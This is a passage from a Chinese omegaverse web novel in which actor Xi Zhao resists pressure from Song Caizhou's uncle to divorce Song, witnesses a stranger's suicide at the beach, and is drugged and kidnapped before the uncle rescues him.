“而且不需要再这么辛苦地一步步从底层往上爬,只要你主动和小舟提出离婚,钱、名利、人脉立刻就能得到,到时候不管是你家里欠的债,还是你未来的事业和人生,都再也不是问题。”
“席棹,你想要的不就是这些吗?”
棚里唯一亮着的吊灯滋啦一声,灭了,周围陷入完全的黑暗。
他能感觉到宋闻平缓的呼吸,那是比初冬深夜里的风还要冰冷的气息,蛇蝎一般。
“我拒绝。”他的回答淡淡的,没有被地位俯视的愤怒,也没有被揭开困境的窘迫,哪怕他此刻厌恶近在咫尺之人到了极点,也依旧斩钉截铁地给出自己的答案,“我不会和宋采舟离婚。”
吊灯重新接上了线,亮了。
宋闻嘴角一挑,浑不在意的说:“你喜欢小舟?没关系,离了婚你依旧能留在他身边,我知道你们是完美契合,他的病也需要你,我只是要你把那张结婚证作废,要你和他在法律上没有捆绑关系,至于你们两个怎么谈情说爱,我不管。”
“你本来也没有资格管。”席棹往前进了半步,借着身高优势垂眸,把刚才受到的凝视尽数回敬,“你没资格管我,更没资格管他。”
对方比他稍矮一些,但因为距离实在太近,想要和他对视就得抬头或是后退。
宋闻脚下没动,干脆地仰起头,吊灯洒下来的光薄铺在他眼中,遮不住里头的凶光,终于是维持不住那副膈应人的模样。
“不要以为他叫你一声小叔就觉得自己是什么了不得的身份,就算你是他亲爹,也没有资格插手他的选择。”
“既然你在这个剧组有那么大的话语权,如果你觉得我冒犯到了你,大可以和范导说一声,就说当初看走眼了,我并不适合虞陵这个角色,现在打算把我踢出组。只要一个通知,我立马走人。”
席棹说完头也不回地走出棚外,掀开帘子时实在没忍住,紧拧着眉抛下一句:“宋采舟不是你,更不是宋家的什么工具。”
帘落,脚步声渐远,吊灯又开始断了线一般忽明忽暗,滋啦的声响下,是宋闻被近乎挑衅的回绝后依旧浅笑的脸,眼里的凶光也早就散去。
“出来吧。”他坐回躺椅上好整以暇地闭起眼,搭起腿凌空点着空气,直到极其细微的脚步声响起又停下,停在他身边相当近的位置。
“都听到了?”
“嗯。”
“那你打算怎么办?”
乍一听有些相似的声音顿了下,然后说:“是我有愧于他,以后但凡他想要的,不管是什么我都会给。”
宋闻腾的坐直上身,难得瞪眼看人。被他看着的人站在灯下,纤细身形被包裹在注成墨点般的影子里,一张脸精致却苍白,唯有那双眼里坚毅如火的目光与柔弱相去甚远。
“你的意思是不离婚?你疯了?”宋闻几乎要坐不住,却被一只手搭在肩头,死死向下摁着。
宋采舟止住了他欲起身的动作,并没有居高临下地看他,反而半蹲下身与之平视,开口却是不容置疑:“他有句话说的没错,小叔,我叫你一声小叔,让你知道一些事,但并不代表允许你插手这些事。”
宋闻的脸色肉眼可见的难看起来。
“我的目的从来都很明确,你知道的,达成它对我来说只是早晚的事,没有任何东西能阻止或者改变,你不行,他也不行。”宋采舟刻意放缓了眨眼的频率,只为看清对方眼底最深处的恐惧。
“所以我绝不会放他走,为防万一,婚姻关系是最保险的一道锁,至于你,也不必再多管闲事。”
说完他一寸寸凑近宋闻耳边,轻声道:“守好你自己的位置,宋家就还有你一席之地。”
宋采舟鬼魅般无声离去以后,宋闻仍旧坐在原地,脸上死寂一片看不出任何恼意,只有拳心紧紧捏着,再松开时手心被指甲用力锉破渗出的血慢慢流淌开,没过纵横的纹路,被昏暗灯光一打像幅油画。
从那
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细小的伤口处陡然涌出浓郁的伊芙伯爵香,瞬间飘散至棚内的每个角落。
他被自己信息素的味道刺激得咬唇,掏出手机翻通讯录,很快选中备注“嗜痛耐玩beta”的名片拨了过去,那头马上接起。
“老地方,洗干净跪着等。”说完就撂了电话。
......
席棹并没有收到被踢出组的消息,但也没有再见到宋闻。
照着计划安排把后加的四十场戏用一周时间拍完,正式杀青这天范正仁给他安排了一场杀青宴,每个人都热情地和他道别,脸上挂着同样疏离的假笑。
舒越仪来找他要联系方式,他没拒绝,“后期宣传要一起上采访的,保持联络哦~”说完又嘻嘻哈哈的回去和人玩骰子拼酒。
临散场前,林善善神秘兮兮地凑过来:“席哥,公寓那边我会去收拾的,有人在外面等你,你快去吧。”
他心跳一下子快起来,甚至比刚才被半推半就着吹瓶时还强烈,顾不上和众人体面道别,拔腿就冲出了门。
马路上川流不息,他站在大门外眯着眼四下寻找,片区晃眼的霓虹灯连成一道道的彩带形状,朦胧又暧昧。
恍惚间他听到总入梦中的声音自背后传来,猛地一转身被地上凸起的砖脚绊到,身体在向前跌落时被拥进了一个怀抱。
“恭喜杀青,席大演员。”宋采舟笑着扶他站稳,安抚似的拍了拍他胳膊,“没吓着吧?”
在酒精刺激下有些摇晃的视野逐渐定格,他终于看清眼前人穿着一身浅蓝连帽卫衣,从衣领看像是以前的旧衣服。
“我上次回去整理了一下衣柜,发现这件和那天你找给我穿的挺像,试了一下感觉还不错。”宋采舟见他打量的目光,摸了下鼻尖解释说,“我其实挺久没穿过这种的了,不会很奇怪吧。”
下个瞬间,他没做多想,伸手将人揽进怀中,在其后背交叠的双臂不自觉向下挪了些,横在后腰上。
“我以为你不会来了。”他在宋采舟耳边说,“我真的以为你不来了。”所以才没有推拒这场杀青宴,没有拒绝别人递来的酒,没有去看手机信息。
“我不想今天回去后一个人待在那个空房子里,那里不是我家,宋采舟,你带我回家吧。”
他顾不上形象,酒精带来的后劲让脑袋整个昏昏沉沉的,本能想把整具身体都压在人身上,又想到对方纤细的骨架怕给压坏了,只好踮着脚尖曲着膝盖,一下下拿头发去蹭人侧脸。
一只手覆到他的后脑上,轻揉了揉:“好了好了,我带你回家。”
“嗯。”他用鼻音回,把人抱得更紧了。
怀里这个人,这具身体的温度,是唯一能让他感觉自己真实的还活着的东西,在这个陌生的世界,他是他唯一的锚点。
这时两人身后不远处传来窃窃私语的声音。“是不是啊?看着真的很像诶。”“我觉得是啊,怎么办啊,现在过去会不会打扰他啊?”“这么好的机会你别错过了呀!勇敢点!”“可是他看上去好像喝醉了,真要去吗?”
宋采舟拍了拍还赖着不松手的人的脑袋,笑说:“振作点,你粉丝想找你呢。”
24.第 24 章
席棹迷迷糊糊地站定,看到门廊边两个年轻女孩小心翼翼地挪过来,左边戴眼镜的那个似乎更大胆些,开口道:“请问,你是席棹吗?”另一个长头发的躲在后面,都不敢抬头直视。
他缓慢地眨眨眼,点了点头,眼镜女孩就抓着另一个的手快速地晃,然后转头克制又激动地问:“席老师你好!我朋友是你的粉丝,因为前不久替身剧组的路透开始关注的,想问问你能不能给个签名?”
他的理智这才回来了一点,但回的不多,脑子里还没处理完听到的信息,愣愣地又点点头。
女孩马上从随身小包里掏出马克笔,高高兴兴地双手递过来,然后用鼓励的眼神看着身后朋友。另一个女孩子这才鼓起勇气上前,把自己贴着小熊贴纸的挎包横过,红着脸小声说:“席老师,您可以签在这个包带上吗?”
他看看手中的笔,又看看对方举起的包带,一脸严肃地上前,像捧着什么珍贵孤本那样捧起一段,在那截粉色包带上工工整整的签下“席棹”二字,完了还用眼神询问:“这样行吗?”
女孩指尖都在颤抖,激动得根本说不出话来。他以为对方不满意这个一点都不时尚的签名,眉心蹙起一点褶皱。
这时刚才一直不曾开口的宋采舟走上来,礼貌地冲两个女孩子笑笑:“不好意思我是他朋友,他喝了点酒有点醉,反应可能比较奇怪,你们见谅,签名的话他还没有设计过,如果你介意的话可以留个联系方式,等回头我让助理再寄一份认真签的给你。”
女孩忙摆手,满脸受宠若惊:“不介意的,能拿到签名我已经很高兴了,谢谢你们!席老师,我会一直关注您的!”
说完她拉起身旁压不住嘴角的同伴匆匆离开,擦身而过的时候,宋采舟看到她的耳根都红透了。
“席棹?”他转头发现身旁的人还保持着呆呆站立的姿势,拍了拍对方问,“怎么了,她们已经走了哦。”结果对上了一双泫然欲泣的眼。
“我真的有粉丝了。”
......
好在晚上的酒没有混着喝,席棹再睁眼的时候已经完全清醒了,心里庆幸自己平时坚持锻炼饮食也健康,解酒解得快。
然而没庆幸多久,窗外呼啸而过的发动机咆哮声就把他的视线一下子震聚焦了。
“醒了?头疼吗?你手边有解酒药和水。”宋采舟的声音从隔壁传来。
他活动了下脖子,发现自己躺在熟悉的副驾驶上,“我们......是直接回S市吗?”他使劲在脑子里挖记忆碎片,想起林善善好像说过会去收拾公寓。
“我难得来一趟,这会儿就回去不是浪费吗?你把我当什么,司机啊?”宋采舟笑着瞥了他一眼,“带你去个地方。”
“啊?什么地方?”他扶着座椅起身,调回靠背,一抬眼发现外头的天空浅蓝一片,和身边人的上衣颜色如出一辙,然后才反应过来看了眼时间。
早上五点半。
“你开了多久的车?”他心突然一慌,忙问道。
杀青宴七点多开始的,明天其他人拍摄工作照常,所以撑死了三个小时就得结束,自己是散场前跑出来的,左不过十点左右,但这一觉居然直接就到第二天了?
“你不会是疲劳驾驶吧?”他吓得赶紧去看人脸色。
“别闹。”宋采舟偏头躲过伸来的手,“没,我看你睡熟了才开出来的,大概就两个小时吧。”说着唇角一钩,“你记不记得睡着之前的事?”
他对酒的喜好一般,酒量也一般,虽然还没有过哇哇乱吐的经历,但好歹知道断片是怎么一回事。
这回大概就是了。
“记得不是很清楚,好像遇到了什么人。”他拍拍脑袋,“所以我们这是去哪儿?”
“看右边,一会儿就到了。”
车最终停在了浅滩外的路边,宋采舟从后面拿了两双人字拖出来,弯下腰把裤腿往上卷起一截,露出笔直匀称的小腿,抬头笑得眉眼弯弯:“你不是说这个夏天过去的很可惜吗?我想起这里有个浅滩,看看海踩踩沙,也算补上一点夏天该有的回忆。”
心咚的一声响,像被抛进了海里。
他抿着唇换鞋,也学对方那样挽起裤腿,然后跟在后头往浅滩上走去。
快十二月的早上六点不算冷得刺骨但也不可能是暖和的,没那么多人有闲情逸致跑到这儿来看海,放眼望去整个滩上除了他们,就只有一对年轻小情侣和一个坐在礁石上看着远方的女人。
宋采舟圾着人字拖在湿土上用鞋尖画画,席棹瞄了眼,画的还挺形象,是只张牙舞爪的螃蟹朝着海面挥钳子。
他想了想,还是趁着海面还算平静的时候开口:“其实,我前几天碰到宋闻了,他是替身剧本的编剧。”
宋采舟收回脚惊讶道:“是吗,这么巧,他都没和我说过这事。”
“你当时替我挑选项目的时候不知道主创班底吗?”
“啊你说那个。”宋采舟掏出手机打开相册,翻到两个多月前的某张记录给他看,说:“这上面报的是笔名,我哪能想到‘灯花落’是个男alpha。”
他噎了下,随即轻笑起来:“确实。”然后就听身边人的声音转瞬间变得落寞,“我小叔他身世比较特别,从不和家里人提起自己事业方面的事,我只知道他是个搞文学创作的。”
“你家......”听到宋采舟主动谈家里的事,他忍不住问:“你和宋家关系很差吗?我看你一直在忙工作的事,上次宋闻也说你一年回不了一趟。”
海水开始涨潮,把两人脚边的那只简笔画小螃蟹卷走了,留下光滑工整的湿沙。
宋采舟把脚从下陷的沙里拔出,“有点冷,走走吧。”说着开始深一脚浅一脚的往前面礁石群走去。
他跟上,于是两人就这样散起步来。海面从寂静变得嘈杂,一浪浪的海水翻上来,都拍在席棹那一侧。
良久后他终于听到宋采舟的声音:“我之前跟你说过,我从在这个世界醒来到分化完成前都没有离开过宋家,其实如果只是那样,我还不会这么讨厌他们。”
“被关在宋家的那几年里,除了给我上课的老师和佣人管家以外,我见不到
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任何人。”宋采舟抬了点头看天际线,“我第一次见到那些所谓的家人是在生日宴上。”
“父亲是个男alpha,母亲,可以叫母亲吧,是位男性omega,还有个比父亲晚出生一个小时的叔叔,也是alpha。”
席棹的脚步顿了下,这是宋采舟第一次主动和他说这些事,只寥寥几句,他就已经察觉到宋家人的关系似乎有点微妙。
“小叔和他们俩不是一个妈生的,关系也并不亲近,说起来我们两个不算宋家人的反而更亲些。”
“温小鹤死后我为了离开宋家做了很多事,你知道最后我是怎么出来的吗?”宋采舟停下了,站在最外侧的礁石旁,看着上面打坐的女人背影,悠悠道,“他们把我带到一个林子里,承诺说只要我撑过一周,就可以离开庄园。”
席棹的余光一闪,意识到这事绝不会那么简单。
宋采舟眯了下眼:“我在那里面发现了野兽的尸体,还有尸体胃里没消化完的人骨。”
“是别人派来杀我却迷失在里面的人。”那双从来柔和的眼睛突然变得凌厉,随着这句话音落下,一阵海风刮过他后背,耳边传来“噗通”的落水声。
他循声扭头一看,发现刚才礁石上坐着的女人不见了。
“她是来这里自杀的。”宋采舟说,伸手拦住了他往那边冲的动作,摇了摇头,“你救不回铁了心要死的人。”
他语气急切:“你怎么知道她想自杀?万一是失足呢?”
“分辨杀意判断人性,是我能从那个林子里活着出来的倚仗之一。”宋采舟抬了抬下巴,示意他看礁石上的东西。
“看到那个包了吗?那是今年上半年新出的一款,专门卖给患有自闭症儿童群体的,前段时间这附近有自闭症小孩走失,尸体被找到的时候已经泡成巨人观了,事发到今天,正好是一百天。”
“她把鞋摆在那个包的旁边了,脱下鞋子跳进海里,她就没想过活着回去。”
宋采舟说完从容地掏出手机报警,条理清晰地提供信息,看上去根本不像是整夜没休息的样子。
愣愣地看人挂掉电话,他被一只冰凉的手牵着往侧边走了几步,然后余光被破开海平面出现的霞光铺满。
“席棹,看,日出。”
日出,新生,跳海,死亡。
他的思维还被困在几分钟前,脑子里嗡嗡的响,突然脑袋被双手拢住朝下,宋采舟的脸近在咫尺。
“现在你知道了,我就是这样一个人,生死在我看来都很平常,我也做不到像你像大众那样为别人的死难过。”
“这样的我,你还觉得是个正常人吗?”
“你,怕我吗?”
席棹移不开眼睛。他看见宋采舟的瞳孔在颤抖着缩放,那里面有一种情绪浓烈地要冲出来。
痛苦。
他的心脏开始狂跳,很快就听不进浪潮翻涌的声音,只有身躯里咚咚的回响掷地有声。
那不是恐惧。
在宋采舟把自己剖开的这一刻,席棹终于明白,他对眼前人已然动心。
25.第 25 章
“我。”席棹借着那双手的力,把头往下垂了点,和宋采舟前额相抵,眼中是透过海面弥散而来的赤光霞影。
“我永远不会怕你。”
宋采舟松开手后退了半步,深深地看进他眼底:“好。”
......
回到S市后,席棹很快见到了风尘仆仆赶来的乔颖。
两个多月的半封闭拍摄,他轻了足足二十斤,对方看上去却是分毫未变,连头发长度都精确地控制在下颌线上一寸的位置,他有的时候会怀疑乔颖是不是每天都对着镜子拿剪刀比划,不然怎么能控制得像脱离生物迹象一样。
“本来后面的工作已经在准备中,但临时有变动,就先搁置了。”乔颖把之前整理汇总的资料分成两类推给他,“你先看看,这边的是影视资源,另外这些是商务代言,都是这个月直接递到我这里的,没做筛选,都在这儿了。”
单看数量影视资源就少得可怜,他草草翻了几下,果然都是不感兴趣的本子。至于另一堆,叫商务代言都是好听的,其实就是一些不知道哪里来的杂牌,连正经工厂和产品都不能确定有的那种。
他完全能理解这种情况,毕竟自己是个刚拍完第一部作品还不知道什么时候能播的新人,唯一的曝光就是之前那些路透图。说白了,现在他在圈子的地位和这些杂牌在各自行业里没什么两样。
“你也看到了,除掉你不考虑的综艺,不向星汇伸手的话自己能接到的也就是这种。”乔颖神色稀疏平常,“星汇那里我也都仔细看过,有还行的,但也只是《替身》这种水平的项目,你能拿到的也还是配角。”
他放下手里的项目书问:“那你刚才说的搁置是?”
乔颖抿了口茶:“一个古装剧的男二,A级项目,裴总也有投资,其实以你现在的外形去演是合适的,但是那个档期离得太近,再一个多月就过年了,而且你的身体状况也不适合这样折腾。”
他垂眸思索,乔颖都觉得行的八成不会有问题,更何况裴明知是个商人,肯定不会做亏本买卖,投的项目想必差不到哪儿去。
而自己这边还有高利贷悬着,随时要准备还,虽然出演虞陵的片酬已经拿到了,但离还清还差一大截,卖房中介那边也没动静,完全不是能放心闲在家的情况。
于是他说:“我没事的,过年也不是问题,我不需要休息,能接就接吧。”
乔颖上下打量他几眼:“其实这些都是次要,最关键的是你得腾出足够的档期。”
他愣了下,然后就听到一个熟悉的名字。
“崔琳导演的新电影在计划筹备,我要给你争取一个机会。”乔颖今天戴了副银边半框镜,镜片透亮,映出眼底清晰无比的精明,“一个顶级名导手下的角色,就算是十番开外的镶边,也比那些商业剧的主角有价值的多。”
席棹陷入了纠结。乔颖这话说的其实没错,电影圈对电视剧圈的鄙视链一直都存在,商业剧演员想挤进电影的圈子里,没有过硬的后台和实力几乎是不可能的。
他想成为一个真正的好演员,那就不可能永远在电视剧里打转。正如乔颖所言,只要能拿到一个哪怕是镶边的配角,都将成为他进入电影圈的敲门砖。
那不是能用金钱衡量的商业价值,而是他实现自我的艺术价值。
这事如果放在从前,他一定丝毫不犹豫地答应,但现在......现在他面临的困境并不完全允许。
现实是他需要钱,需要短时间里赚到足够多的钱,而一个需要付出大量等待时间的、恐怕最后在荧幕上露脸时间不会超过几分钟的小配角,显然不满足条件。
他的沉默意味着什么乔颖当然知道,“我没想到你会犹豫。”她语气明显惊讶了几分,“可能你有我不知道的顾虑和考量,我不喜欢强迫艺人,你自己决定吧。”
是为了一个机会暂时蛰伏,还是屈于现实。
“你有十天的考虑时间,想好了告诉我,这期间就在家里好好休养,不管怎么样身体才是你的本钱。”
乔颖离开后他独自瘫坐了许久,直到宋采舟下班到家才想起之前约好的一起吃晚饭。饭桌上被问起后续工作,他心里乱的很,不知道怎么说,索性就没提,只是道:“还没定下来,先休息几天,我也趁这机会去处理下房子的事。”
宋采舟也没多问:“好,有事就找我,我最近应该都不会离开S市。”
说来也奇怪,自从他认清自己真的动心以后,对宋采舟反倒没有以前那么粘人了,不再总缠着对方,反而意识到了之前没发现的一点——宋采舟看上去这样好相处的一个人,除了那个搞餐饮的“阿穆”以外,好像真的没有其他朋友。
第二天,席棹到中心医院看了父母,两人仍旧是无意识的状态,他进病房的时候看护正在给他们擦拭身体换衣服。
“席先生。”看护看到他并没有很意外,规规矩矩的汇报了最近情况就退了出去,给这家人留出安静的空间。
他看着一尘不染的高级病房心下无比落寞,坐在窗边想:“我该怎么选?怎么选才是对的?”他翻着手机上搜索引擎里有关崔琳过往导演作品的评价,无意识地说了句,“要是有一个月就能拍完走人的那种剧本就好了。”
在医院待到傍晚,病房里的气象警报提示半小时后有强降雨,眼看外头天阴沉了下来,他终于起身准备离开。
老房子所在的小区在城南,要过跨江大桥,他不喜欢用打车软件这种容易泄露个人隐私的东西,还是习惯性地走到医院门口准备搭出租车。
好在这种人来人往的地方永远不缺等客的,刚出大门,正好有一辆出租车停下放客,他顺势坐了上去:“师傅,去城南的锦荟小区,东门下。”
“好嘞。”司机是个圆头圆脑的男人,看上去挺亲切的,“帅哥一个人来看病啊?”说着好像是怕他误会,又憨笑了下:“不好意思哈我这人嘴快,就是随口问一句。”
车身动了。
他憋闷了一下午,这会儿倒不排斥回应两句,就说:“家里人在这住院,偶尔过来看看。”
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>司机像是没料到他真的会接话,瞪着眼睛瞅了眼后视镜:“哦哦,这样子。”外头雨开始淅淅沥沥的落下,他把头侧靠在冰凉的车窗上,看着日渐模糊的路景昏昏欲睡。
上桥前一个路口开始堵车,司机探着不长的脖子看了眼问:“帅哥你赶时间不,不然咱走隔壁,这天气上桥这段儿肯定得堵。”
他懒得思考这种事,反正也只是去打扫一下卫生看看有没有新的信罢了,于是半闭着眼“嗯”了声:“不赶,你看着开就行。”
雨滴砸在窗玻璃上的声音有些催眠,很快他便完全闭上了眼陷入昏睡。
......
席棹是被皮革臭味熏醒的,睁眼看到周围一地狼藉,一下子没反应过来这是什么地方。
直到嘈杂的滂沱雨声闯入耳中,他才抖了抖睫毛,想起自己应该在回老房子的出租车上才对。
“哐啷”的锁链碰撞声从背后传来,他移动身体的动作顿住,然后猛地一扭头,看到自己的双手被反剪着用手铐铐在了后面的铁管上。
脚步声离近了,“是,人刚醒,神智正常。”圆头圆脑的矮胖司机戴着蓝牙耳机走来,不知道在和谁通话,伸手从腰侧挎包里拿出了一只注射器摘掉保护盖,大拇指抵着向上一推,透明的液体就顺着针头喷出一截,留一两滴挂在尖上。
"你到底是什么人?想干什么?!"他用尽全身力气,喊出的声音却连雨声都不如,被淹没在空气里,只能眼睁睁看着男人靠近。
“别乱动,不会很痛的,但你要是挣扎害我扎错了地方,受罪的可是你自己。”
男人一抬腿,膝盖牢牢抵住他的肩头,“你要钱我可以给你!多少都行!”他无力地试图进行谈判,却发现对方根本恍若未闻,直接伸手摁着他的后脑向下,暴露出整个脖颈。
这个姿势容易缺氧,再加上体内残留的药物作用,他不得不张开嘴大口呼吸以保持清醒,口水顺着嘴角狼狈地流出,糊在下巴和前胸。
冰冷的针头碰到后颈的一瞬间,宋采舟的话在脑中一闪而过——绝对不能让腺体受伤!
他咬着舌侧,忍着剧痛疯狂挣扎着扭动身体,针头在后颈的皮肤表面拉出一道伤痕,但好在没有扎进去。
“啧。”男人看着弯了点的针头啐了声,把手上这枚注射器收回包里,又拆了支新的出来,可惜新的这支是个空管,他必须得自己抽药液。
席棹满口都是铁锈味,侧着头去看身前的人,冷汗顺着额角滑下流进了眼睛里,视线瞬间刺痛模糊起来。
他看到男人掰开一只褐色安瓿瓶把针头伸了进去,心感苍凉的一瞬间,后方货架边寒芒一闪,破空声响。
男人手中的针瓶掉落在地,整个人晃晃悠悠地倒了下去。
席棹无力地松开嘴,血混合着唾液从嘴角渗出,看了眼地上男人大臂上插着的长管黑针,扭头顺着刚才寒光闪来的方向看过去。
货架后走出一个人,身形高挑,一身与印象中不太符合的破烂装扮。
是宋闻。
26.第 26 章
越野乘着夜色驶出了废弃的皮革厂,席棹浑身无力地瘫坐在副驾驶,被颠到恶心的想吐。
但比起这个,今晚遇到的事更让他恶心。
“你跟踪我?”后脖的刺痛犹在,他忍不住紧皱起眉,很快又被舌头上传来的痛楚吸引走注意力。这种时候他很难判断哪边更痛一些,干脆把因此生出的恨意都透过眼神剜向驾驶位上的人。
宋闻盯着路面眼珠都不动一下,懒懒地承认:“是啊,要不是我跟踪你,你今晚恐怕就得交代在那个破厂里了。”
他有一堆问题想问,最后那些问题在还没完全恢复清醒的脑子里转了一圈,汇成了三个字。
“为什么?”
“什么为什么?”宋闻没笑,是那副冷冷的判官模样,“我为什么跟踪你?还是你为什么被绑到这种地方?”
“都。”
“话都说不利索,歇着吧你,看在小舟还需要你的份上我不会让你死的。”宋闻轻嗤了声,刻薄地说。
席棹安心地昏了过去。
他再醒来的时候发现自己还在越野的副驾驶上,宋闻却已经换了身衣服,衣冠楚楚地把手臂架在降下一半的车窗上,很没道德的正在抽烟,人模狗样。
“哟,醒了。”见他醒来,宋闻指尖一捏把烟掐灭,随手扔了出去,“脑子正常吗?能说话了吗?”
他眯着眼看窗外乌黑的天,发现车停在锦荟小区的东门,轻啧了声问:“你为什么跟踪我?”
“你觉得跟我算这笔账比知道自己为什么被绑架还重要?”宋闻惊奇道,“我发现你这人脑回路也挺奇怪的。”
也?他的指尖抽搐了下,宋闻这个也指的是谁?
不等他多想,对方就挥手随意地散了下烟雾,关上车窗,明显改装过的车内四面升起挡板,形成了一个密闭的空间。
宋闻转过头看他:“我跟踪你,是因为我没打算放弃说服你离婚,正好最近在构思一个新的故事,有关刑侦的,这么难得的机会当然要自己亲身体验一把。”
“我倒是挺好奇的,你这种人也能有仇家,怎么,是欠钱不还把对方惹恼了?”
他垂眼看到自己被折腾得皱皱巴巴的衣服,还有衣领处一块干了的水渍,舌侧的疼痛又在提醒他刚才都遭遇了什么。
“你不是查到我欠债了吗,会不知道我欠的是高利贷?”他没闲工夫和这人耍心眼,干脆地戳穿,“我不觉得是他们。”
宋闻饶有兴致地问:“哦?那你觉得是谁?”
他抬手打开顶上的照明,确保能看清对方的脸以后,转过头漫不经心地开口:“你。”
可惜的是他没能在宋闻的眼里捕捉到任何惊愕或者慌张,只发现了里头浓厚的好奇。
“嗯,说说,为什么觉得是我?”出乎意料的,宋闻的语气竟有几分认真。
他不信邪一般紧盯着对方双眼:“那人不图钱,或者说是知道我没钱,所以背后一定有人指使,可他不像是要我的命,我猜他背后的人是为了恐吓我,从而达到某种目的。”
“在我受到惊吓以为自己要死的时候出现救下我,然后再编个故事给我听,好让我如你所愿主动提离婚。宋闻,我猜你接下来是不是要说,那个人绑架我是想利用我引出宋采舟?”
“还不算太笨。”宋闻笑起来,然后突然变了脸色,“我是想过这么做,但可惜被人提前一步,这次,确实不是我。”
他本能的不想相信,但在看到对方从口袋里掏出的东西以后,又不得不相信。
一支针头有些弯曲的注射器。
“我知道你信不过我,那个胖子我是没法给你弄来,但这东西我可以给你,拿去做检测也好,找个人试验也好都看你心情,不过结果就不用告诉我了,我没兴趣知道。”
宋闻说着语气促狭了几分:“还是说,你没胆子收下?”
他看着那支注射器里透明的液体,沉默了片刻,而后被突然响起的手机铃声打乱了思绪。
屏幕上显示的“宋采舟”三字明晃晃映在两人眼中,他抬头,看到宋闻不怀好意地笑了下,做了个请便的手势。
“喂?”
“喂席棹,你去哪儿了?我刚到家看你不在,快十二点了还没回来吗?”
“我在锦荟这边,下午去了趟医院,一会儿就回去了,你早点休息。”
那头静了几秒。他看到宋闻勾起的唇角,表情比刚才还要兴味盎然。
“好,我知道了,那你自己路上小心点。”
“嗯。”
“......”挂了电话,他捏着手机的五指愈发使劲,终于松开的时候轻叹口气,说了句:“这东西我不要,你处理吧。”
“嗯?”宋闻这下是真搞不懂了,“你不要?你不想知道是怎么回事吗?”
“该知道的总会知道,查不出来的就没必要非得撞上去了吧,我现在没那心思,更没那本事。”他也没心情去打扫什么卫生了,干脆使唤起人来,“你知道他家地址吧,送我一程。”
“呵,我都不知道你到底是蠢还是聪明。”宋闻支起下巴认真地打量他,“席棹,我说真的,我愿意买下你这套房子,承担包括高利贷在内的所有隐形风险,只要你和小舟解除法律婚姻关系。”
“我拒绝。”他想都没想,开口就是回绝,然后扯了扯衣领发现弄不平整,开始从下往上一颗颗扣起外套纽扣,最后把里面乱糟糟的衣服遮了个严实。
做完这些以后他用指关节敲了敲挡板:“不过我有点好奇你为什么这么坚持,看你的样子好像也不是反对我们在一起,既然两个人在一起,有没有这张证区别很大吗?”
宋闻的神情前所未有的正经,正经到称得上严肃:“对你来说没什么区别,但小舟和你不一样,他是宋家的人,而且是宋家唯一的继承人,我言尽于此。”
席棹好像听懂了这话的意思,但因为不想回答,装着没听懂:“哦,但是我拒绝,送我回去吧。”
宋闻翻了个白眼降下挡板,发动车子。巨大的风噪声透过玻璃灌进来,他被吵得脑仁疼,低骂了句:“没素质的资本家。”
到家的时候宋采舟房间的灯已经暗了,他放轻脚步回房洗漱,给舌头后颈和手腕都上了药,换上长袖睡衣后坐在床边,心事重重的看着床边柜上放着的银链。
“还好今天没戴出去。”他有些庆幸,虽然绑架他的那个男人看上去不求财,但万一发现了真值钱的东西,谁也说不准事情会有什么不同的走向。
单从已发生的事实看,对方是冲着他的腺体来的,和腺体有关又不是为了钱,他只能想到一个可能性。
墙上的抽象线条钟走向凌晨两点,他伸手揉了揉胀痛的太阳穴,终于强迫自己睡下。
隔天下午他在整理邮箱的时候发现了一封裴明知私人账号转发来的邮件——“一些剧本,应该是之前宋总答应的资源,打包发你了。”时间是今天早上。
想到乔颖的吩咐和那个八字还没一撇的“机会”,他抱着随便看一眼的心思打开了压缩包,从里面拆解出了近三十个剧本,不过从文件大小来看似乎都不是很长。
宋采舟那边牵头过来的资源竟然还有这种规模的吗?没等这疑惑定型,他很快就被剧本内容吸引。
他没想到自
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己这随便一看,竟然持续了一整个下午。拉伸了一下腰腿以后他把界面停在页脚,盯着那个工作室的联系方式足足三分钟,最后强行中断心理斗争,打开搜索输入那串号码添加好友。
申请是自动通过的,对方的第一条信息也是自动弹出的:“您好,悬梦工作室,专业承接各项中小规模剧本相关。”
他没有立马回复,而是起身去洗了把脸,冷静后切屏查询“悬梦工作室”相关的信息,最后确认这是一家行业年龄比自己还老的正规工作室,也出品过不少优秀单元剧,近几年把重心转移到短剧微剧市场后隐隐有成为业内领头的趋势。
于是他才放下心给对面发了消息:“你好,我看到了你们团队自荐的一些剧本,很感兴趣,想了解一下合作相关的内容。”
对面回复得很专业,把相关的文件按购买创作和合作创作分类发了过来。
......
宋采舟到家的时候习惯性朝屋里喊了声“席棹,我回来了”,结果听到客厅传来重物落地的声音,顾不上换好鞋冲进去一看,发现人正跌坐在地上,手边散了一地打印出来的纸张。
“怎么了,没事吧?”他伸手把人拉起来,扫了眼那些纸上的字,“新剧本?”
席棹揉着后腰点头:“嗯,看入神了,没注意坐的位置不小心摔了。”
“什么剧本这么吸引你。”宋采舟笑着问,随便捡了几张拿在手里看起来,边看边挑着眉说:“这节奏有够快的,看着不像是正剧。”
“按体量算是短剧吧,今年挺流行的,节奏是快了点但故事确实很精彩。”他一碰到喜欢的剧本就要滔滔不绝,宋采舟是知道的,忙打住说:“好好好,你喜欢的总不会错,我不插手你选工作,但也得先吃饭吧。”
“哦,已经这个点了。”他收拾好茶几,去帮宋采舟把玄关的东西搬到桌上,指着其中一盆眼生的植物问:“这是?”
宋采舟拿盘子装打包回来的晚饭,抬头看了眼:“阿穆从国外带回来的,据说对调节信息素水平有帮助,非让我试试。”
“哦。”看他欲言又止的模样,宋采舟打趣:“怎么,他的醋也要吃?你是醋坛子成精吗?”
“谁吃......他的醋。”席棹耳根一热。他知道宋采舟不是认真的,也没那个意思,只是每每听到类似的玩笑话还是忍不住心里一痒,甚至有的时候会幻想一些两人真的是那种关系下的场景。
幻想起来就一发不可收拾,他的耳根直接红了一整顿饭的时间,最后还是因为一通电话强行中断了。
“喂,你好?”
“您好席先生,我是房产中介小刘,之前和您联系过的。”
他这才如梦初醒般看了眼来电显示,“哦哦,你好,有什么事吗?”
“不好意思这个时间打扰您,是这样的,下午有买家联系说想实地看房,本来约的时间是三天后,我就想着明天再和您联系,但是刚才对方临时来消息,说是工作安排变动后天要出国一段时间,不想挂着事,就想把看房时间提前到明天,您看方不方便?”
他怔了下,随即心头一喜:“可以的,明天我有时间。”
小刘的语气一下子松快许多:“那太好了,您看明天下午六点这个时间行吗?正好看看房子的光线。”
“没问题。”
“好的,那咱们就约在明天下午六点,锦荟小区门口的咖啡厅见面。”
宋采舟把碗筷收拾了放进洗碗机,出来看到他唇角噙笑的样子问:“遇到什么好事了这么开心?”
